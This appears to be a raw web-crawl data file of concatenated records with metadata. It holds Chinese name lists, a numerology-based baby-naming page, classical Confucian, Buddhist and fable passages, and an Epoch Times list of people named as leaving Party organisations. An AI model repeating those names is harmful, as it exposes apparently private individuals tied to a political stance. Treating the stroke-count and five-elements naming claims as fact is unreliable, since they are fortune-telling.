田毓红 田跋幼 田媚真 田昀巧 田党玉 田镕琰 田户馥 田浪月 田鸣琼 田瑶菁 田迟姿 田芮玉 田瑗丽 田凝京 田环庭 田诚梅 田营军 田仰英 田彦一 田水雯 田弥牡 田 雯 田拥卓 田 娴 田草云 田留勤 田 凤 田婷晓 田霭环 田苹英 田伍倚 田予媚 田露研 田弘馥 田心青 田 咏 田沐欣 田妮若 田懿映 田立云 田京云 田之芸 田尘思 田郁心 田妞雪 田恬诺 田筠茹 田征莉 田依薇 田堂军 田映俊 田皆靖 田炼昕 田女书 田宣雪 田洁萤 田秀清 田剑好 田佳佳 田衔万 田蕴真 田昔琇 田晾军 田槐意 田政善 田蓉怡 田昭双 田侨钻 田飘琇 田胤妃 田钢湘 田丰柳 田羿晴 田哲蕊 田意华 田烈卿 田柏佟 田峥岚 田肖晴 田娴燕 田稳颖 田鹤莲 田革岚 田芸蓉 田 卿 田嫡童 田召环 田尉瑾 田政月 田道凤 田乃汶 田界筌 田嫦芙 田慧静 田銮园 田 燕 田珊子 田以君 田凉谚 田尹翠 田醒莉 田逸秋 田眉娰 田琼菁 田兰娴 田持蓓 田知凤 田枝茵 田子茹 田玄琪 田晖雪 田冷枝 田愈露 田裳晓 田努秀 田颂青 田寒芸 田予娰 田柔花 田必友 田隆豫 田度真 田遥贤 田冬燕 田易娴 田娰岚 田玻莹 田存玥 田珠晶 田荃艺 田鹃吟 田樱映 田研凤 田之云 田银君 田荣勤 田岩倩 田稻菁 田令婉 田向玫 田菲群 田育依 田晗粟 田悲衍 田泛意 田圃风 田民蕴 田鹤艺 田元清 田琰幸 田茗桦 田苍好 田妹花 田一璇 田瑄秀 田脉燕 田育霜 田莲云 田月斓 田 粟 田涪曲 田谰琴 田园艳 田琇妞 田嫣翠 田渝珠 田碧卿 田茹维 田苑贝 田辟菏 田 明 田俊咏 田菁妍 田筌音 田序俊 田玉丽 田昀卿 田寒月 田丹碧 田照巧 田宠雯 田璐萱 田睫琪 田甜丰 田蕊若 田青静 田菲鲜 田睦菏 田永筌 田梦花 田诗兴 田放欢 田碧寒 田 滢 田察莉 田艺蓓 田驳倩 田志红 田木锦 田巧英 田仲娰 田僖舒 田琴斓 田田英 田频欢 田蓉翠 田度凤 田厚岚 田导晓 田秀蕊 田经旖 田滢筠 田义鹃 田火洁 田絮秀 田敬飘 田麦莹 田涪艳 田 雪 田牵荃 田梅黛 田夏菏 田游燕 田婷晓 田齐妹 田拥姵 田淦俐 田镕玉 田娟莎 田怡芸 田精衍 田贯娅 田镜芳 田颜勤 田馥华 田皑清 田涌静 田临岚 田练韵 田斗玉 田信巧 田菏越 田春碧 田淳娥 田 蓓 田裔勤 田姗娥 田先薏 田芝娜 田玉婾 田钧翠 田宣思 田淑云 田妍荃 田令一 田襄茜 田月意 田梦庭 田慈娇 田恬裳 田芮桦 田书贞 田芙妍 田家娥 田 佟 田景兰 田翰汶 田倚枝 田夏妮 田瑄菁 田影万 田佑琼 田旭生 田寒茜 田远玉 田财若 田流妞 田缨育 田迎真 田香珍 田儒齐 田肖巧 田准丽 田娣姿 田杏雪 田慎英 田臣晶 田鼎琪 田俏俏 田蓝爱 田灿晨 田简凝 田妮靖 田瑗爽 田钰颖 田嘉情 田赞汶 田洋芹 田 融 田茵洁 田瑁婵 田景月 田颐珂 田历雅 田上昀 田沐彤 田洋君 田骏晨 田钦俊 田新娴 田 欢 田璧燕 田光晓 田彤瑾 田愿群 田以美 田松怡 田钢俊 田篱女 田矗万 田情薇 田彬芮 田光青 田宪玛 田河华 田庄遥 田圆荃 田羽凤 田鲜萤 田奇玲 田紊思 田鸣爽 田里相 田记钰 田海秀 田盈琪 田争琅 田临皑 田当雪 田珍燕 田沁咏 田言月 田草薇 田悟羡 田意菏 田蕊彤 田登姗 田薏诺 田荔诺 田驹雨 田霜芳 田女潇 田庄蔼 田妃菁 田栋知 田薏懿 田滔阳 田鹃翠 田枚琼 田谰柳 田蕾华 田优云 田 云 田婷娇 田宪毓 田娇阳 田 颐 田莲勤 田湖青 田 妮 田游韵 田国姗 田雯尚 田军贞 田施欢 田 茵 田映娴 田鉴秀 田厉汶 田僚兰 田尹莉 田秀豫 田姝菁 田妡娴 田融群 田香华 田斗樱 田生爱 田亮兰 田蕊香 田争燕 田夜珍 田黛蕊 田圃音 田银凉 田心玉 田哲月 田尝晶 田编音 田河妍 田仪美 田胤芸 田皑薏 田 思 田玲芬 田银怡 田业蓉 田起婷 田芹蓉 田炜菏 田遍琇 田暮娟 田江巧 田阳莹 田伶爱 田灿童 田慕芸 田峰方 田娇文 田蔚真 田诞晶 田凌薏 田原珂 田佳云 田思玫 田凌丽 田茜清 田晓凤 田循玲 田琰榕 田航娥 田连琴 田 青 田 娜 田升情 田天琼 田万清 田 澄 田艾绚 田珑云 田扬勤 田琰荣 田醒玫 田夕诺 田益雅 田选卿 田令晴 田摇玥 田欣秀 田暖璇 田玫琪 田龙莹 田峪咏 田华月 田悟聪 田皓翠 田盼娟 田努桃 田言晨 田璀花 田婾珂 田俯贞 田芙然 田群红 田研勤 田艳玉 田禄玮 田付秀 田具微 田元腾 田翘霞 田晗泳 田雯咏 田雯娰 田蕾佩 田鸥皑 田西谰 田笑月 田峙兰 田湘靖 田曲裳 田姵芙 田泳群 田迟玉 田 苑 田剑蕊 田奉荃 田互玥 田永樱 田翘乔 田滢子 田皑诺 田烽桦 田宠相 田广岚 田娥翘 田逊雯 田云昀 田 斐 田单俏 田倪晔 田昭群 田嫣艾 田丰晴 田霭意 田咏芸 田起若 田杏瑗 田良菊 田玫盼 田缓兰 田蓝友 田瑜莺 田育涟 田音颖 田京敏 田素月 田淑沂 田雁瑰 田麟雪 田初映 田苍群 田致秋 田燕童 田苑娰 田自荷 田庄凤 田营枝 田霜豫 田博妙 田印影 田忻若 田竟娣 田篱裔 田晗菏 田蕾丽 田蓓秀 田斐勤 田初晶 田瑄菁 田婾遥 田芳云 田可立 田知芮 田贯翠 田飞英 田尹鹃 田颁韵 田融鲜 田芳斓 田草惠 田宣君 田沛婉 田薇月 田帜萤 田共平 田 桦 田逢齐 田励英 田博涣 田耙伶 田笑蔼 田仲影 田瑗咏 田之雪。","id":"","dump":"CC-MAIN-2021-25","url":"http:\/\/www.qmjie.com\/k\/15574.html","date":"2021-06-12T17:42:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487586239.2\/warc\/CC-MAIN-20210612162957-20210612192957-00073.warc.gz","language":"lzh","language_score":0.9924654961,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9924654960632324}","num_words":626,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"祥字是男孩取名常用字之一,指的是吉祥美好的意思,字意美好。所以家长们都喜欢用这个字作为宝宝的名字。那祥字的男孩名字有哪些呢?如何用祥字起名呢?易安居周易网下面就这个字教您怎么为宝宝取名。\n1\n、祥字的基本含义\n1.吉利。\n2.吉凶的预兆。\n3.姓\n2\n、祥字的姓名学属性\n读音:xiáng\n繁体:祥\n姓名学笔画:11画\n简体笔画:10画\n起名五行:金\n姓名学含义:原义是指吉凶的征兆,后特指吉兆,引申指吉利、吉祥、吉庆、祥瑞。作人名时,祥字主要有吉利、吉祥的意思。\n3\n、名人起名用字\n文天祥:(1236年-1283年),初名云孙,字天祥。文天祥以忠烈名传后世,与陆秀夫、张世杰被称为\"宋末三杰\"。\n林祥谦:工人阶级的不屈战士。\n罗志祥:台湾人气男歌手、主持人、舞者、演员。代表作《爱转角》《海派甜心》。\n陈百祥:香港歌手、主持人、演员。\n黎耀祥:香港男演员,三获视帝。\n林子祥:香港歌手、演员,配偶叶倩文。\n赵忠祥:中央电视台《人与自然》主编、中央电视台主持人。\n4\n、如何用祥字起名\n祥字在姓名学中是11画,在81数理中代表挽回家运的吉祥数理。象征为旱苗逢雨,具有顺利发展,再兴家业的预意暗示。祥字在五行中属金,如果宝宝的八字喜用神五行属金,可以用\"祥\"字起名。\n在姓名学中,汉字的数理不好,可以用符合喜用神五行属性的字起名,这样不仅能化解凶恶数理的喻意暗示,还能对命理进行帮扶。\n名字举例\n志祥 祥国 祥含 祥灏 祥皓 祥衡 祥弘 祥华 祥邦 成祥 祥力 祥北 祥岑 祥东 祥廓 祥籁\n相关起名用字\n飞 杰 泉 津 山 洋 梓 海 平 江 佩 恒 嘉 天 程 容 名 腾 东 诚 旭 星\n5\n、带祥字的男孩名字大全\n常用祥字男孩名字\n惠祥 修祥 祥至 金祥 祥羽 宫祥 祥迅 祥灿 嘉祥 祥序 祥明 祥奎 聪轶 倍祥 祥振 慈祥 祥郯 大祥 祥敏 钒祥 固祥 祥牛 祥汉 祥理 棕祥 祥息 吉祥 祥来 祥淳 付祥 祥耕 祥桂 祥澳 霖祥 怀祥 祥雷 祥军 咏祥 祥安 祥倍 祥琨 祥剑 祥旦 彦祥 祥亥 祥权 开祥 来祥 祥缙 迁祥 祥水 祥眩 祥阔 啸祥 祥召 祥宾 祥焰 祥沣 祥愿 祥禄 仪祥 祥懿 祥汝 号祥 祥娴 骞祥 祥洗 连祥 镡祥 邦祥 川祥 祥吉 祥久 祥帅 祥邦 成祥 祥力 祥北 祥岑 祥东 祥靖 发祥 祥壮 毓祥 祥盈 祥豆 子祥 祥仲 安祥 祥彩 祥艮 祥格 木祥 诚楠 祥皇 祥甲 祥皋 彤祥 思祥 祥泰 祥阜 祥苹 弟祥 刚祥 征祥 司祥 繁祥 祥开 祥鹤 祥贺 祥稀 祥宽 祥初 祥骄 祥苗 祥乡 祥菁\n祥字开头的名字\n祥海 祥淞 祥沛 祥光 祥李 祥猛 祥鹏 祥郁 祥月 祥国 祥羽 祥同 祥汶 祥洲 祥早 祥辉 祥峰 祥宏 祥森 祥梭 祥权 祥开 祥斌 祥谦 祥瑞 祥逸 祥携 祥安 祥风 祥瑞 祥理 祥亨 祥洪 祥熙 祥银 祥瑞 祥凯 祥耀 祥锦 祥阜 祥波 祥一 祥康 祥骏 祥缙 祥帆 祥楠 祥德 祥森 祥恩 祥福 祥豆 祥峰 祥睿 祥窝 祥旭 祥璋 祥猛 祥达 祥铮 祥森 祥权 祥胜 祥贤 祥翰 祥智 祥鑫 祥芸 祥玺 祥印 祥豫 祥泰 祥昊 祥鸣 祥民 祥国 祥熙 祥舒 祥赖 祥坤 祥甲 祥连 祥轩 祥源 祥韵 祥亮 祥龙 祥松 祥元 祥星 祥凯 祥哲 祥瑞 祥靖 祥清 祥鼐 祥昕 祥荣 祥泳 祥智 祥鹤 祥光 祥桐 祥宝 祥合 祥光 祥汰 祥记 祥元 祥衣 祥泯 祥岸 祥忠 祥运 祥青 祥阳 祥武 祥汉 祥仁 祥骏 祥涛 祥虎 祥禄 祥阅 祥天 祥吉 祥哲 祥旨 祥希 祥策 祥恺 祥涵 祥庚 祥智 祥斌 祥欢 祥凯 祥苹 祥平 祥瀚 祥芝 祥现 祥标 祥荣 祥瑞 祥忠 祥芯 祥峰 祥荣 祥伟 祥光 祥彩 祥乐 祥源 祥环 祥杰 祥令 祥辉 祥春 祥皓 祥伦 祥中 祥至 祥云 祥和 祥金 祥宇 祥敖 祥柏 祥邦 祥榜 祥陛 祥禀 祥丙 祥财 祥仓 祥沧 祥测 祥昌 祥敞 祥钞 祥忱 祥橙 祥词 祥达 祥代 祥道 祥迪 祥电 祥丁 祥冬 祥丰 祥峰 祥傅 祥富 祥戈 祥鸽 祥阁 祥工 祥宫 祥桂 祥国 祥含 祥灏 祥皓 祥衡 祥弘 祥华 祥画 祥桓 祥火 祥贾 祥兼 祥江 祥津 祥井 祥景 祥敬 祥径 祥驹 祥军 祥卡 祥匡 祥坤 祥括 祥廓 祥籁 祥斓 祥雷 祥棱 祥犁 祥励 祥砾 祥历 祥利 祥寥 祥列 祥临 祥领 祥龙 祥泷 祥鹿 祥录 祥榈 祥律 祥仑 祥麦 祥冒 祥梦 祥绵 祥苜 祥酿 祥鸥 祥畔 祥佩 祥沛 祥浦 祥谱 祥颀 祥其 祥棋 祥企 祥仟 祥前 祥桥 祥钦 祥勤 祥拳 祥鹊 祥仁 祥任 祥汝 祥若 祥杉 祥商 祥尚 祥申 祥审 祥十 祥时 祥恕 祥讼 祥誊 祥天 祥添 祥艇 祥桐 祥万 祥巍 祥围 祥维 祥渭 祥尉 祥稳 祥浠 祥曦 祥衔 祥弦 祥县 祥羡 祥相 祥向 祥萧 祥霄 祥效 祥心 祥行 祥玄 祥雪 祥循 祥研 祥延 祥央 祥杨 祥叶 祥仪 祥邑 祥亿 祥隐 祥迎 祥赢 祥咏 祥尤 祥有 祥右 祥禹 祥遇 祥员 祥月 祥悦 祥匀 祥在 祥樟 祥证 祥钲 祥直 祥挚 祥置 祥质 祥仲 祥著 祥祝 祥专 祥篆 祥庄 祥准 祥卓 祥巽 祥谕 祥茼 祥荏 祥茗 祥菘 祥岷 祥洵 祥淇 祥淅 祥骥 祥珉 祥琦 祥桦 祥晟 祥斐 祥铄 祥笙 祥霈 祥麟\n祥字结尾的名字\n佰祥 梆祥 堡祥 彪祥 斌祥 宾祥 冰祥 勃祥 舱祥 册祥 城祥 炽祥 川祥 绰祥 当祥 迪祥 鼎祥 敦祥 番祥 钒祥 方祥 枫祥 烽祥 府祥 富祥 概祥 格祥 根祥 耕祥 功祥 管祥 光祥 航祥 壕祥 灏祥 和祥 赫祥 恒祥 洪祥 槐祥 环祥 焕祥 涣祥 火祥 吉祥 籍祥 及祥 建祥 江祥 进祥 精祥 经祥 菊祥 均祥 俊祥 康祥 柯祥 客祥 肯祥 恳祥 快祥 坤祥 昆祥 来祥 乐祥 垒祥 利祥 沥祥 霖祥 六祥 鹭祥 律祥 伦祥 蒙祥 盟祥 勉祥 缅祥 渺祥 敏祥 牧祥 念祥 暖祥 沛祥 彭祥 品祥 评祥 谱祥 期祥 崎祥 企祥 谦祥 桥祥 青祥 卿祥 全祥 券祥 燃祥 壬祥 韧祥 润祥 绅祥 生祥 十祥 什祥 识祥 士祥 树祥 双祥 斯祥 巳祥 送祥 诵祥 坦祥 图祥 尉祥 文祥 戊祥 熙祥 锡祥 夏祥 现祥 新祥 行祥 秀祥 序祥 煦祥 泫祥 勋祥 迅祥 崖祥 砚祥 杨祥 屹祥 亦祥 隐祥 映祥 游祥 禹祥 喻祥 辕祥 则祥 哲祥 臻祥 箴祥 镇祥 政祥 直祥 值祥 钟祥 衷祥 舟祥 昼祥 助祥 庄祥 酌祥 灼祥 兹祥 孜祥 仔祥 棕祥 综祥 侃祥 诤祥 劭祥 勰祥 圳祥 懿祥 苡祥 苕祥 莛祥 莘祥 岑祥 崧祥 怿祥 洵祥 洳祥 淞祥 漕祥 瀚祥 骞祥 寮祥 珑祥 珈祥 珩祥 玺祥 琮祥 琚祥 栎祥 昊祥 晖祥 歆祥 旎祥 炜祥 炫祥 砺祥 罡祥 钿祥 筝祥 筠祥 麒祥","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.mingligeju.com\/107.html","date":"2023-09-22T04:14:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506329.15\/warc\/CC-MAIN-20230922034112-20230922064112-00879.warc.gz","language":"lzh","language_score":0.4666855633,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.46668556332588196, \"cmn_Hani_score\": 0.3114449679851532, \"nan_Hani_score\": 0.2099507451057434}","num_words":751,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.312,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.543,"perplexity_score":500.0,"cluster_detection":1} +{"text":"我们严正声明退出中国少先队及其邪党的一切附属组织,抹去兽的印记,做拥有未来的人。\n赵一军 赵二军 赵三军 周小平 彭好 刘福 何顺意 罗有缘 龙发 肖代元 李玉红 邓美花 周江秀 周得田 高六秀 陈得元 龙海艳 王开心 矿玉南 张有秀 谭伍秀 刘健康 刘花英 陈有福 张元元 陈玉田 刘件秀 周美丽一 周天 陈智玲 曾有梅 周帅 周一军 周珊 彭平一 赖会生 彭艳 王平 周文娟 肖平安 罗顺香 肖健 周桂莲 李朝富 刘王英 赵春慧 赵曼 周凯 李明 罗小杰 郭顺秀 徐晓云 龙四发 李可可 徐元 何红华 张唤 彭冲 徐来福 肖平发 彭顺莲 刘起豪 刘百顺 唐得福 周知秀 龙桂花 刘红花 李相信 付巧容 周省秀 李阳阳 彭春田 彭小英 周顺秀 李豪明 周志杰 江衡 彭华英 陈辉 江英一 周才宝 周文涛 李善梅 周梨花 周佰态 周相颜 肖扬 龙彩霞 陈得福 李女 李美 谭真荣 刘佳 李只乐 彭盛运 周多秀 曾玉兰 李兴隆 李幸运 彭代福 周香元 肖灿 罗美 李顺明 周零 李凤秀 周太秀 丹勇明 罗杨秀 周先玉 周意 何有明 刘小英 周国明 肖有明 周从云 唐秀英 唐发有一 柒兴隆 徐金明 陈运有 王利云 李平 李发 彭平 吉祥 彭双喜 樊利花 美艳 秋云 彭在龙 曾长秀 颜艳平 陈旺 周有 陈开心 周福来 何开心 尹俊君 李红丽 刘萍 邹发展 刘发一 刘凤英 徐金英 有云 李家旺 王秋 刘艳敏 永明一 王立英一 陈菊红 肖笑 同飞明 王立英 刘发 龙福有 周燕秋 谭分田 周山秀 石红 谢永远 彭金娇 谭秀 徐秋田 邓雯 胡智慧一 彭福有 唐琳 王明 周翠英 刘福秀 往兴旺 颜福秀 颜平平 唐健明 陈红 唐发有 陈慧英 聂发财 江慧芳 李文文 杨祁 肖满秀 雷光辉 王贵花 陈月秀 江英 张中贵 周美丽 刘桂香 永明 周秀田 曹美丽 周红英 曾旺 李红梅 林祥文 曾丽 王英 周忠 肖丽 胡智慧","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/tuidang.epochtimes.com\/index\/showpost\/id\/21431633","date":"2017-11-19T04:57:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934805362.48\/warc\/CC-MAIN-20171119042717-20171119062717-00352.warc.gz","language":"lzh","language_score":0.5353136659,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5353136658668518, \"cmn_Hani_score\": 0.30561432242393494, \"nan_Hani_score\": 0.15265041589736938}","num_words":204,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.532,"perplexity_score":500.0,"cluster_detection":1} +{"text":"云何道理極成真實?謂諸智者有道理義:諸聰叡者、諸黠慧者、能尋思者、能伺察者、住尋伺地者、具自辯才者,居異生位者、隨觀察行者,依止現、比及至教量極善思擇,決定智所行所知事;由證成道理所建立所施設義,是名道理極成真實。","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/cittamatrin.com\/index.php\/vijnapti-minister\/cittamatrin-201707111g\/itemlist\/tag\/%E7%85%A9%E6%83%B1%E9%9A%9C","date":"2018-01-21T07:01:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890314.60\/warc\/CC-MAIN-20180121060717-20180121080717-00349.warc.gz","language":"lzh","language_score":0.4729724824,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.47297248244285583, \"cmn_Hani_score\": 0.3164488673210144, \"jpn_Jpan_score\": 0.08348072320222855, \"wuu_Hani_score\": 0.039940245449543, \"yue_Hani_score\": 0.03879430890083313, \"nan_Hani_score\": 0.031515173614025116}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.393,"perplexity_score":500.0,"cluster_detection":1} +{"text":"輸入您的姓氏和您的名字,本姓名算命系統只支持1個或者2個漢字的姓,1個或者2個漢字的名字。請合理輸入,謝謝配合!\n請注意本系統專門為男孩(男性)姓名算命,女性請點擊這里:女孩姓名算命\n最新查詢姓名:李煒宇 李軒煒 李朝軒 王銨炣 王銨柯 王銨可 何仕勝 郭依凡 王銨錁 王銨科 王銨鈳 胡金楠 王銨軻 王銨珂 周梓望 袁誠堡 袁堡誠 袁琛堡 周梓呈 周梓潤 周梓龍 周梓義 阮俊皓 周梓林 王銨楊 王銨睿 戴博宇 王銨麟 王桉楊 王桉睿 王桉麟 王安鑠 王安麟 王安霖 王安陽 陳凌峰 李榮芙 魯翔雨 李瑞博 龐維然 龐亮 龐嘉敏 龐吉武 武一龍 石宇航 楊駿熙 楊芷熙 張增旭 王昶森 和來根 和非東 和昊民 徐開銀 覃秋明 張岐驥 高貝寧 李莫然 韓譯緯 凌浩天 凌皓天 萬闖 吳祥云 唐茂盛 徐行佳 闞玉合 鄭依璇 闞立民 姚光前 姚迎君 闞文軒 廖莎莎 闞文韜 鄭煒暢 鄭煒昌 廖奕淇 翁宗德 李任澤 雷帆 王王繼 葉曼麗","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/www.clxgv.icu\/xingming\/nan\/","date":"2019-08-25T13:47:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027330233.1\/warc\/CC-MAIN-20190825130849-20190825152849-00072.warc.gz","language":"lzh","language_score":0.6289745569,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6289745569229126, \"cmn_Hani_score\": 0.1977202445268631, \"nan_Hani_score\": 0.16875898838043213}","num_words":82,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.693,"perplexity_score":500.0,"cluster_detection":1} +{"text":"夫子閒居、喟然而嘆子思再拜、请曰意子孙不修。将忝祖乎。羡尧舜之道恨不及乎。夫子曰尔孺子安知吾志。子思对曰伋於进膳。亟闻夫子之教。其父析薪。其子弗克负荷。是谓不肖。伋每思之所以大恐而不解也。夫子忻然笑曰然乎。吾无忧矣。世不废业。其克昌乎。\n子思问於夫子曰、為人君者、莫不知任贤之逸也、而不能用贤、何故子曰非不欲也。所以官人任能者。由於不明也。其君以誉為赏。以毁為罚。贤者不居焉。\n子思问於夫子曰、伋闻夫子之諂正俗、化民之政、莫善於礼乐也、管子任法以治齐、而天下称仁焉。是法与礼乐异用而同功也。何必但礼乐哉。子曰尧舜之功。百世不輟。仁义之风远也。管仲任法。身死则法息。严而寡恩也。若管仲之知。足以定法。材非管仲而专任法。终必乱成矣。\n子思问於夫子曰、物有形类、事有真偽、必审之、奚由、子曰由乎心。心之精神是谓圣。推数究理不以疑。心诚神通则数不能遁周其所察。圣人难诸。\n赵简子使聘夫子、夫子将至焉及河、闻鸣犊与竇犨之见杀也、迴舆而旋之卫、使鄹、遂為操、曰周道衰微礼乐陵迟。文武既坠。吾将焉归。周游天下。靡邦可依。凤鸟不识。?宝梟鴟。眷然顾之。惨然心悲。巾车命驾。将适唐都。黄河洋洋。攸攸之鱼。临津不济。还辕息鄹。伤于道穷。哀彼无辜。翱翔于卫。復我旧庐。从吾所好。其乐只且。\n哀公使以币如卫迎夫子、而卒不能赏用也、故夫子作丘陵之歌、曰登彼丘陵。峛崺其阪。丘陵谓王室也阪指诸侯仁道在邇。求之若远。遂迷不復。自婴屯蹇。喟然迴虑。题彼泰山。题顾也泰山谓鲁也鬱确其高。梁甫迴●枳棘充路。陟之无缘。将伐无柯。患兹蔓延。惟以永叹。涕霣潺湲。梁甫太山之下小山指三桓也楚土使使奉金币聘夫子、宰子冉有曰、夫子之道、至是行矣、遂请见、问夫子曰太公勤身苦志。八十而遇文王。孰与许由之贤夫子曰许由。独善其身者也。太公、兼利天下者也。然今世无文王之君也。虽有太公。孰能识之。乃歌曰大道隐兮礼為基。贤人窜兮将待时。天下如一欲何之。\n叔孙氏之车子曰鉏商、樵於野而获兽焉、眾莫之识、以為不祥、弃之五父之衢、冉有告夫子、曰■身而肉角、岂天之妖乎、夫子曰今何在。吾将观焉。遂往。谓其御高柴曰。若求之言。其必麟乎。到视之。果信。言偃问曰。飞者宗凤。走者宗麟。為其难致也。敢问今见。其谁应之。子曰天子布德。将致太平。则麟凤龟龙先為之祥。今宗周将灭。天下无主。孰為来哉。遂泣。曰予之於人。犹麟之於兽也。麟出而●。吾道穷矣。乃歌。曰唐虞世兮麟凤游。今非其时吾何求。麟兮麟兮我心忧。","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/www.zggdwx.com\/kongcongzi\/5.html","date":"2019-10-19T02:57:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986688674.52\/warc\/CC-MAIN-20191019013909-20191019041409-00457.warc.gz","language":"lzh","language_score":0.5579006672,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5579006671905518, \"cmn_Hani_score\": 0.20900104939937592, \"nan_Hani_score\": 0.04606596753001213, \"jpn_Jpan_score\": 0.03974795714020729, \"wuu_Hani_score\": 0.03521581366658211, \"zxx_Latn_score\": 0.021319689229130745, \"yue_Hani_score\": 0.015642153099179268}","num_words":7,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.558,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楚太子以梧桐之實養梟,而冀其鳳鳴焉。春申君曰:「是梟也,生而殊性,不可易也,食何與焉?」朱英聞之,謂春申君曰:「君知梟之不可以食易性而為鳳矣。而君之門下無非狗偷鼠竊亡賴之人也,而君寵榮之,食之以玉石,薦之以珠履,將望之以國士之報。以臣觀之,亦何異乎以梧桐之實養梟而冀其鳳鳴也?」春申君不寤,卒為李園所殺,而門下之士無一人能報者。","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E9%83%81%E9%9B%A2%E5%AD%90\/%E9%A4%8A%E6%A2%9F","date":"2019-10-20T11:54:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986707990.49\/warc\/CC-MAIN-20191020105426-20191020132926-00421.warc.gz","language":"lzh","language_score":0.5108531117,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.510853111743927, \"cmn_Hani_score\": 0.4542757570743561, \"nan_Hani_score\": 0.01561965886503458}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.613,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n危艾 危安 危奔 危彬 危斌 危滨 危冰 危兵 危波 危博 危渤 危灿 危昶 危畅 危超 危晨 危诚 危慈 危达 危大 危丹 危东 危丰 危风 危枫 危峰 危凤 危富 危刚 危戈 危海 危海 危海 危海 危汉 危汗 危翰 危杭 危航 危好 危昊 危浩 危皓 危赫 危恒 危宏 危鸿 危虎 危辉 危慧 危岌 危佳 危嘉 危建 危健 危杰 危瑾 危晋 危京 危晶 危敬 危靓 危靖 危静 危军 危君 危俊 危骏 危开 危剀 危垲 危恺 危铠 危楷 危康 危可 危魁 危昆 危琨 危岚 危乐 危勒 危力 危立 危利 危励 危炼 危林 危淋 危霖 危岭 危龙 危茂 危浼 危冕 危淼 危妙 危敏 危明 危鸣 危铭 危缪 危沐 危楠 危宁 危纽 危鹏 危品 危平 危齐 危淇 危琦 危琪 危强 危芹 危全 危然 危榕 危软 危瑞 危森 危沙 危杉 危晟 危诗 危柿 危收 危帅 危爽 危顺 危思 危澌 危四 危韬 危特 危天 危汀 危崴 危宛 危婉 危菀 危琬 危皖 危望 危葳 危微 危薇 危巍 危韦 危桅 危唯 危惟 危维 危潍 危伟 危纬 危苇 危炜 危玮 危娓 危卫 危未 危味 危蔚 危慰 危魏 危雯 危妩 危武 危物 危淅 危娴 危显 危险 危羡 危骁 危消 危潇 危晓 危筱 危肖 危效 危笑 危啸 危昕 危鑫 危秀 危旭 危续 危泫 危桠 危亚 危延 危严 危岩 危炎 危研 危颜 危琰 危彦 危谚 危焱 危扬 危阳 危洋 危烨 危一 危伊 危漪 危仪 危夷 危沂 危宜 危乙 危艺 危奕 危羿 危轶 危逸 危意 危溢 危毅 危懿 危音 危樱 危盈 危滢 危勇 危右 危妤 危宇 危雨 危聿 危昱 危渊 危垣 危越 危云 危泽 危彰 危珍 危桢 危臻 危震 危峥 危止 危枳 危志 危中 危忠 危竹 危子 危佐 危坐 危爱华 危爱云 危安辉 危安亮 危安琪 危百万 危柏翰 危堡锋 危北辰 危北健 危贝贝 危贝儿 危贝尔 危贝洱 危贝拉 危钡儿 危蓓蓓 危蓓儿 危蓓尔 危本敏 危宾彦 危斌龙 危冰林 危波林 危波宇 危才慧 危才君 危财君 危彩兰 危长财 危长明 危常君 危常龙 危常鑫 危超明 危超然 危超燃 危晁锭 危朝安 危辰君 危晨君 危晨龙 危丞君 危呈斌 危承栩 危承志 危城波 危驰斌 危楚儿 危春辉 危春兰 危春平 危慈洋 危存茂 危大海 危大林 危代波 危带香 危丹丹 危当恒 危刀己 危德福 危德华 危德贞 危德珍 危德甄 危的此 危定坤 危定笑 危东升 危冬发 危冬妮 危冬荣 危冬勇 危恩熹 危法生 危方崎 危方琦 危芳贞 危飞玫 